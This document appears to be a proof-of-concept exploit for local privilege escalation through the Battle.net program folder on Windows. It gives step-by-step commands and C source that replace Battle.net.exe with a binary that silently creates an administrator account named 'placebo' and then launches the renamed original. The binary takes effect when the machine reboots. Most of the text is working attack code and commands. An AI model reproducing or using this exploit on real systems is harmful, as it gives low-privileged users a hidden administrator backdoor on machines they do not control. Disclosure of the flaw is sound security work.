## Local Privilege Escalation Proof of Concept
#0. Download & install

User name lowpriv
Local Group Memberships *Users
Global Group memberships *None
#2. Move the Service EXE to a new name
C:\Program Files (x86)\Battle.net> whoami
frey-omen\30698
C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe
1 file(s) moved.
#3. Create malicious binary on kali linux
## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0);
return 0;
}
## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe
#4. Transfer created 'Battle.net.exe' to the Windows Host
#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files (x86)\Battle.net>' Folder
C:\Program Files (x86)\Battle.net> move C:\Users\lowpriv\Downloads\Battle.net.exe .
#6. Check that exploit admin user doesn't exists
C:\Program Files (x86)\Battle.net> net user placebo
The user name could not be found
#6. Reboot the Computer
C:\Program Files (x86)\Battle.net> shutdown /r
